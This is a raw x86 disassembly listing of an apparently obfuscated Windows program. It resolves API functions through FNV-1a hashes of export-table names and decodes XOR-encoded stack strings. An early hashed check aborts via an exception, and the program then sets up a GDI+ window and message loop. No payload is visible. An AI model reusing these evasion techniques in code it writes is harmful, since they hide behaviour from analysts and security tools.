add esp, 0x18
mov ecx, eax
call fcn.004b5cf0
push eax
lea ecx, [esp + 0x234]
call fcn.004c4b30
lea ecx, [esp + 0x17d]
inc eax
push ecx
push edi
push eax
lea eax, [esp + 0x238]
push eax
lea ecx, [esp + 0x15c]
call fcn.004c4c70
lea ecx, [esp + 0x22c]
call fcn.004b6490
lea eax, [esp + 0x14c]
push eax
lea ecx, [esp + 0x230]
call fcn.004bf970
lea ecx, [esp + 0x14c]
call fcn.004b6490
lea ecx, [esp + 0x1cc]
call fcn.004b6490
lea eax, [esp + 0x17e]
push eax
mov eax, dword [esp + 0x240]
lea ecx, [esp + 0x150]
add eax, 0xfffffffc
push eax
push 0
lea eax, [esp + 0x238]
push eax
call fcn.004c4c70
mov ecx, 0x4d90e0
call fcn.004b6490
lea eax, [esp + 0x14c]
mov ecx, 0x4d90e0
push eax
call fcn.004bf970
lea ecx, [esp + 0x14c]
call fcn.004b6490
mov edx, dword [0x4d986c]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x1d06c913
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c3810
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c37f3
cmp edx, 0x4ecbdfab
je 0x4c381c
mov edx, dword [0x4d986c]
inc edi
add esi, 4
jmp 0x4c37e3
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4d986c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
je 0x4c3859
push 0
lea ecx, [esp + 0x58]
call fcn.004bfff0
push 0x4d6cfc
lea eax, [esp + 0x58]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
mov byte [esp + 0xa0], 0x6d
mov al, 0x35
xor al, byte [esp + 0xa0]
mov cl, 0x1a
mov byte [esp + 0xa1], al
mov ch, 0x1e
mov al, byte [esp + 0xa0]
mov dl, 5
xor cl, al
mov byte [esp + 0xa7], 0
xor ch, al
mov byte [esp + 0xa2], cl
mov ah, 0x3a
mov byte [esp + 0xa5], ch
mov dh, 0x27
mov byte [esp + 0xa7], 0
xor dl, al
lea ecx, [esp + 0x1b4]
xor ah, al
mov byte [esp + 0xa3], dl
xor dh, al
mov byte [esp + 0xa4], ah
mov byte [esp + 0xa6], dh
call fcn.004b7490
lea ecx, [esp + 0xa1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c38d5
sub ecx, edx
lea eax, [esp + 0xa1]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b7120
mov byte [esp + 0xa8], 0x58
mov al, 0x10
xor al, byte [esp + 0xa8]
mov cl, 0x30
mov byte [esp + 0xa9], al
mov ch, 0x6b
mov al, byte [esp + 0xa8]
mov dl, 0x22
xor cl, al
mov byte [esp + 0xaf], 0
xor ch, al
mov byte [esp + 0xaa], cl
mov ah, 0x1b
mov byte [esp + 0xad], ch
mov dh, 0x11
mov byte [esp + 0xaf], 0
xor dl, al
lea ecx, [esp + 0x1cc]
xor ah, al
mov byte [esp + 0xab], dl
xor dh, al
mov byte [esp + 0xac], ah
mov byte [esp + 0xae], dh
call fcn.004b7490
lea ecx, [esp + 0xa9]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3970
sub ecx, edx
lea eax, [esp + 0xa9]
push ecx
push eax
lea ecx, [esp + 0x1d4]
call fcn.004b7120
mov byte [esp + 0x60], 0x32
mov al, 0x57
xor al, byte [esp + 0x60]
mov cl, 0x5a
mov byte [esp + 0x61], al
mov dl, 0x51
mov al, byte [esp + 0x60]
mov ch, 0x54
mov dh, 0x43
mov byte [esp + 0x11], 0x77
xor cl, al
mov byte [esp + 0x68], 0
xor dl, al
mov byte [esp + 0x62], cl
xor ch, al
mov byte [esp + 0x63], dl
xor dh, al
mov byte [esp + 0x65], ch
mov ah, 0x5d
mov byte [esp + 0x66], dh
xor ah, al
mov byte [esp + 0x68], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x61]
xor al, byte [esp + 0x60]
lea edx, [ecx + 1]
mov byte [esp + 0x64], ah
mov byte [esp + 0x67], al
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c39f0
sub ecx, edx
lea eax, [esp + 0x61]
push ecx
push eax
lea ecx, [esp + 0x1d4]
call fcn.004b6830
mov byte [esp + 0xbc], 0xc
mov al, 0x3a
xor al, byte [esp + 0xbc]
mov cl, 0x3b
mov byte [esp + 0xbd], al
mov dl, 0x65
mov al, byte [esp + 0xbc]
mov ah, 0x3c
xor cl, al
mov byte [esp + 0x11], 0x63
xor dl, al
mov byte [esp + 0xbe], cl
xor ah, al
mov byte [esp + 0xc4], 0
mov ch, 0x5b
mov byte [esp + 0xc0], ah
xor ch, al
mov byte [esp + 0xbf], dl
mov dh, 0x58
mov byte [esp + 0xc1], ch
xor dh, al
mov byte [esp + 0xc4], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x1cc]
xor al, byte [esp + 0xbc]
mov byte [esp + 0xc3], al
lea eax, [esp + 0xbd]
push eax
mov byte [esp + 0xc6], dh
call fcn.004b74b0
test al, al
je 0x4c3b6e
mov byte [esp + 0xe0], 0x14
mov cl, 0x76
xor cl, byte [esp + 0xe0]
mov al, 0x73
xor al, byte [esp + 0xe0]
mov ch, 0x72
mov byte [esp + 0xe1], al
mov dl, 0x53
mov byte [esp + 0xe2], cl
mov dh, 0x57
mov cl, byte [esp + 0xe0]
mov ah, 0x52
mov byte [esp + 0x11], 0x5e
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x2d
mov byte [esp + 0xe7], al
xor dh, cl
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x13], 0x58
mov byte [esp + 0xe8], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0xe5], ch
lea ecx, [esp + 0xe1]
mov byte [esp + 0xea], 0
mov byte [esp + 0xe3], dl
mov byte [esp + 0xe6], dh
lea edx, [ecx + 1]
mov byte [esp + 0xe4], ah
mov byte [esp + 0xe9], al
mov byte [esp + 0xea], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3b50
sub ecx, edx
lea eax, [esp + 0xe1]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b6830
lea ecx, [esp + 0x1cc]
call fcn.004b5f90
lea ecx, [esp + 0x1b4]
call fcn.004b5f90
call fcn.004c1e70
call fcn.004c2000
test eax, eax
jne 0x4c3d48
mov edi, dword [0x4d9870]
xor edx, edx
mov dword [esp + 0x24], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x6b65a4e4
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c3be3
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3bc6
cmp edx, 0x56bdedbf
je 0x4c3bec
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c3bb6
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
movaps xmm0, xmmword [0x4d3a90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov dh, 0x59
mov esi, dword [ecx + eax*4]
mov cl, 0x2b
mov ch, cl
mov byte [esp + 0x14a], 0
mov dl, cl
mov byte [esp + 0x144], dh
mov al, 0x1c
mov byte [esp + 0x14a], 0
mov ah, 0x36
mov dword [esp + 0x16c], 0x54061b00
xor cl, dh
mov dword [esp + 0x170], 0x11101b19
xor ch, dh
mov byte [esp + 0x146], cl
xor al, dh
mov byte [esp + 0x149], ch
xor dl, dh
mov byte [esp + 0x145], al
xor ah, dh
mov byte [esp + 0x147], dl
movups xmmword [esp + 0x14c], xmm0
add esi, edi
mov byte [esp + 0x148], ah
movaps xmm0, xmmword [0x4d3df0]
xor ecx, ecx
movups xmmword [esp + 0x15c], xmm0
mov byte [esp + 0x174], 0
nop word [eax + eax]
mov al, byte [esp + 0x14c]
xor byte [esp + ecx + 0x14d], al
inc ecx
cmp ecx, 0x27
jb 0x4c3ca0
push 0x30
lea eax, [esp + 0x149]
mov byte [esp + 0x178], 0
push eax
lea eax, [esp + 0x155]
push eax
push 0
call esi
mov edi, dword [0x4d987c]
xor edx, edx
mov dword [esp + 0x24], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x483ad1f6
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c3d1d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3d00
cmp edx, 0x685eaadb
je 0x4c3d26
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c3cf0
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
call eax
add esp, 4
call fcn.004c7130
push 0x4a9540
lea ecx, [esp + 0x258]
call fcn.004b7740
lea ecx, [esp + 0x254]
call fcn.004a8760
push 0
lea eax, [esp + 0x248]
mov dword [esp + 0x248], 1
push eax
lea eax, [esp + 0x264]
mov dword [esp + 0x250], 0
push eax
mov dword [esp + 0x258], 0
mov dword [esp + 0x25c], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.004b8660
mov al, 0x59
mov byte [esp + 0x54], 0x1d
mov dl, al
mov byte [esp + 0x11], 0x73
xor al, byte [esp + 0x54]
mov cl, 0x2e
xor cl, byte [esp + 0x54]
mov ch, 0x4a
mov byte [esp + 0x55], al
sub esp, 0x18
mov al, byte [esp + 0x29]
mov ah, 0x3d
mov byte [esp + 0x6e], cl
mov dh, 0x74
mov cl, byte [esp + 0x6c]
mov esi, esp
xor al, cl
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x73], al
xor ch, cl
mov al, byte [esp + 0x2a]
xor dl, cl
xor al, cl
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x74], al
xor ah, cl
mov al, byte [esp + 0x2b]
xor dh, cl
xor al, cl
mov byte [esp + 0x3b], 0x6a
mov byte [esp + 0x75], al
mov al, byte [esp + 0x3b]
xor al, cl
mov byte [esp + 0x71], ch
mov byte [esp + 0x77], 0
mov ecx, esi
mov byte [esp + 0x6f], dl
mov byte [esp + 0x70], ah
mov byte [esp + 0x72], dh
mov byte [esp + 0x76], al
mov byte [esp + 0x77], 0
call fcn.004b7490
lea ecx, [esp + 0x6d]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3e50
sub ecx, edx
lea eax, [esp + 0x6d]
push ecx
push eax
mov ecx, esi
call fcn.004b7120
lea ecx, [esp + 0x298]
call fcn.004c00f0
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x298]
xorps xmm0, xmm0
mov dword [esp + 0x1a4], 0
add esp, 0x18
movlpd qword [esp + 0x194], xmm0
movlpd qword [esp + 0x1a0], xmm0
movlpd qword [esp + 0x1a8], xmm0
mov dword [esp + 0x19c], eax
call fcn.004b5cf0
mov edx, dword [0x4d9870]
xor edi, edi
mov dword [esp + 0x1b0], eax
mov dword [esp + 0x190], 0x4c1210
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x2712d795
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c3f0e
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3ef1
cmp edx, 0x45f9940d
je 0x4c3f1a
mov edx, dword [0x4d9870]
inc edi
add esi, 4
jmp 0x4c3ee1
mov eax, dword [esp + 0x18]
mov edx, dword [0x4d9870]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x18c]
add eax, edx
push ecx
call eax
mov edx, dword [0x4d9880]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop dword [eax + eax]
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x877ad71b
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c3f8d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3f70
cmp edx, 0x24525406
je 0x4c3f99
mov edx, dword [0x4d9880]
inc edi
add esi, 4
jmp 0x4c3f60
mov eax, dword [esp + 0x18]
mov edx, dword [0x4d9880]
push 0xf
push 0xf
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0x258
push 0x190
push 0
movzx eax, word [eax + edi*2]
push 0
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [esp + 0x28], eax
xor edi, edi
mov eax, dword [0x4d9870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x18], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
mov ecx, dword [esi]
mov edx, 0x18a65733
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c4014
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3ff7
cmp edx, 0x2cfdcc3
je 0x4c401f
mov eax, dword [0x4d9870]
inc edi
add esi, 4
jmp 0x4c3fe7
mov eax, dword [esp + 0x18]
mov edx, dword [0x4d9870]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
mov dword [esp + 0x20], eax
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
push 0
mov dword [esp + 0x1c], eax
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
sub edi, 0xc8
call fcn.004c0c10
lea ecx, [esp + 0x280]
mov esi, eax
call fcn.004b5cf0
push 0
push 0
push 0
push 0
push 0x257
push 0x18f
push dword [esp + 0x30]
push edi
push 0x96000000
push esi
push eax
push 0x20
call dword [esp + 0x4c]
mov dword [0x4d9864], eax
xor edi, edi
mov eax, dword [0x4d9870]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [esp + 0x18], ecx
mov esi, dword [ecx + 0x20]
add esi, eax
nop
mov ecx, dword [esi]
mov edx, 0x91f29c7c
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c40ed
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c40d0
cmp edx, 0x804da11f
je 0x4c40f8
mov eax, dword [0x4d9870]
inc edi
add esi, 4
jmp 0x4c40c0
mov eax, dword [esp + 0x18]
mov edx, dword [0x4d9870]
push 0
push dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
push dword [0x4d9864]
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov cl, 3
mov byte [esp + 0x16], 0
sub esp, 0x18
mov byte [esp + 0x2c], cl
mov al, 0x2a
mov byte [esp + 0x2e], 0
xor al, cl
mov esi, esp
mov ecx, esi
mov byte [esp + 0x2d], al
call fcn.004b7490
lea ecx, [esp + 0x2d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c4150
sub ecx, edx
lea eax, [esp + 0x2d]
push ecx
push eax
mov ecx, esi
call fcn.004b7120
lea ecx, [esp + 0x1cc]
call fcn.004c00f0
add esp, 0x18
mov ecx, eax
call fcn.004b5cf0
mov edi, eax
mov dword [esp + 0x1fc], 0x60b084f
mov cl, 0x4f
mov dword [esp + 0x200], 0x26186f64
mov dword [esp + 0x204], 0x38202b21
xor eax, eax
mov word [esp + 0x208], 0x676f
mov byte [esp + 0x20a], 0
xor byte [esp + eax + 0x1fd], cl
inc eax
cmp eax, 0xd
jae 0x4c41cb
mov cl, byte [esp + 0x1fc]
jmp 0x4c41b5
lea eax, [esp + 0x22c]
mov byte [esp + 0x20a], 0
push eax
sub esp, 0x18
mov esi, esp
mov ecx, esi
call fcn.004b7490
lea ecx, [esp + 0x219]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c41f1
sub ecx, edx
lea eax, [esp + 0x219]
push ecx
push eax
mov ecx, esi
call fcn.004b7120
lea ecx, [esp + 0x1e8]
call fcn.004c00f0
add esp, 0x18
mov ecx, eax
call fcn.004b5cf0
mov edx, eax
lea ecx, [esp + 0x150]
call fcn.004c4d40
mov edx, edi
add esp, 4
lea esi, [edx + 2]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x4c4236
sub edx, esi
mov ecx, eax
sar edx, 1
push edx
push edi
call fcn.004c4cd0
push eax
lea ecx, [esp + 0x29c]
call fcn.004bf8c0
lea ecx, [esp + 0x14c]
call fcn.004b6490
lea ecx, [esp + 0x1cc]
call fcn.004b6490
lea ecx, [esp + 0x1b4]
call fcn.004b6490
mov edi, dword [0x4d9870]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
xor eax, eax
add ecx, edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], ecx
mov esi, dword [ecx + 0x20]
add esi, edi
mov dword [esp + 0x1c], esi
mov ecx, dword [esi]
mov edx, 0xdbd320f2
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c42ce
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c42b1
cmp edx, 0xe08ced8c
je 0x4c42d7
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c42a1
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x1c]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], edx
lea eax, [ecx + eax*2]
movzx eax, word [eax + edi]
lea eax, [edx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp + 0x24], eax
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0xd6d31913
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c433d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c4320
cmp edx, 0x66cd8b61
je 0x4c4346
inc dword [esp + 0x24]
add esi, 4
jmp 0x4c4310
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
lea eax, [ecx + eax*2]
mov ecx, dword [esp + 0x28]
movzx eax, word [eax + edi]
lea eax, [ecx + eax*4]
mov esi, dword [eax + edi]
lea ecx, [esp + 0x298]
add esi, edi
call fcn.004b5cf0
push eax
push 0
call esi
push 0
push 0
push 0x10
push eax
call dword [esp + 0x3c]
xorps xmm0, xmm0
mov dword [esp + 0x278], 0
movaps xmmword [esp + 0x260], xmm0
movq qword [esp + 0x270], xmm0
nop dword [eax]
mov edi, dword [0x4d9870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x381fca
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c43ed
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c43d0
cmp edx, 0xedb07659
je 0x4c43f6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c43c0
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 0
push 0
mov eax, dword [edx + 0x24]
push 0
push dword [0x4d9864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x270]
add eax, edi
push ecx
call eax
test eax, eax
je 0x4c46c2
mov edi, dword [0x4d9870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x5e40e32e
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c447d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c4460
cmp edx, 0x887e7fa2
je 0x4c4486
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c4450
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 0
push 0
mov eax, dword [edx + 0x24]
push dword [0x4d9864]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
lea ecx, [esp + 0x26c]
add eax, edi
push ecx
call eax
test eax, eax
jne 0x4c45ba
mov edi, dword [0x4d986c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x9ea36e9c
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c450d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c44f0
cmp edx, 0x5c5396e8
je 0x4c4516
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c44e0
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push dword [0x4d9874]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.004c5230
mov edi, dword [0x4d987c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x840f4817
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c458d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c4570
cmp edx, 0x81d16a8
je 0x4c4596
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c4560
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 1
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
mov edi, dword [0x4d9870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xe016078a
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c460d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c45f0
cmp edx, 0xca5de10f
je 0x4c4616
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c45e0
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x260]
mov ecx, dword [esp + 0x14]
push eax
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4d9870]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x18], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xb932c14
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c468d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c4670
cmp edx, 0x718fd666
je 0x4c4696
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c4660
lea eax, [esp + 0x260]
push eax
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x4c43a0
mov byte [esp + 0xf8], 0x1e
mov al, 0x26
xor al, byte [esp + 0xf8]
mov cl, 0x74
xor cl, byte [esp + 0xf8]
mov ch, 0x69
mov byte [esp + 0xf9], al
mov dl, 0x4a
mov byte [esp + 0xfa], cl
mov ah, 0x75
mov cl, byte [esp + 0xf8]
mov dh, 0x54
mov byte [esp + 0x11], 0x4c
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x6b
mov byte [esp + 0xff], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x7b
mov byte [esp + 0x100], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0xfd], ch
mov byte [esp + 0x102], 0
lea ecx, [esp + 0x1cc]
mov byte [esp + 0xfb], dl
mov byte [esp + 0xfc], ah
mov byte [esp + 0xfe], dh
mov byte [esp + 0x101], al
mov byte [esp + 0x102], 0
call fcn.004b7490
lea ecx, [esp + 0xf9]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c4780
sub ecx, edx
lea eax, [esp + 0xf9]
push ecx
push eax
lea ecx, [esp + 0x1d4]
call fcn.004b7120
mov byte [esp + 0xec], 0x5f
mov al, 7
xor al, byte [esp + 0xec]
mov cl, 0x6b
xor cl, byte [esp + 0xec]
mov ch, 0x3d
mov byte [esp + 0xed], al
mov dl, 0x2b
mov byte [esp + 0xee], cl
mov ah, 0x16
mov cl, byte [esp + 0xec]
mov dh, 0x68
mov byte [esp + 0x11], 0x6c
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x29
mov byte [esp + 0xf3], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x66
mov byte [esp + 0xf4], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0xf1], ch
mov byte [esp + 0xf6], 0
lea ecx, [esp + 0x1fc]
mov byte [esp + 0xef], dl
mov byte [esp + 0xf0], ah
mov byte [esp + 0xf2], dh
mov byte [esp + 0xf5], al
mov byte [esp + 0xf6], 0
call fcn.004b7490
lea ecx, [esp + 0xed]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c4855
sub ecx, edx
lea eax, [esp + 0xed]
push ecx
push eax
lea ecx, [esp + 0x204]
call fcn.004b7120
mov byte [esp + 0x118], 0x73
mov al, 7
xor al, byte [esp + 0x118]
mov cl, 0x37
xor cl, byte [esp + 0x118]
mov ah, 0x15
mov byte [esp + 0x119], al
mov ch, 0x30
mov byte [esp + 0x11a], cl
mov dl, 0x25
mov cl, byte [esp + 0x118]
mov dh, 4
mov byte [esp + 0x11], 0x3c
xor ah, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x2b
mov byte [esp + 0x11f], al
xor dl, cl
mov al, byte [esp + 0x12]
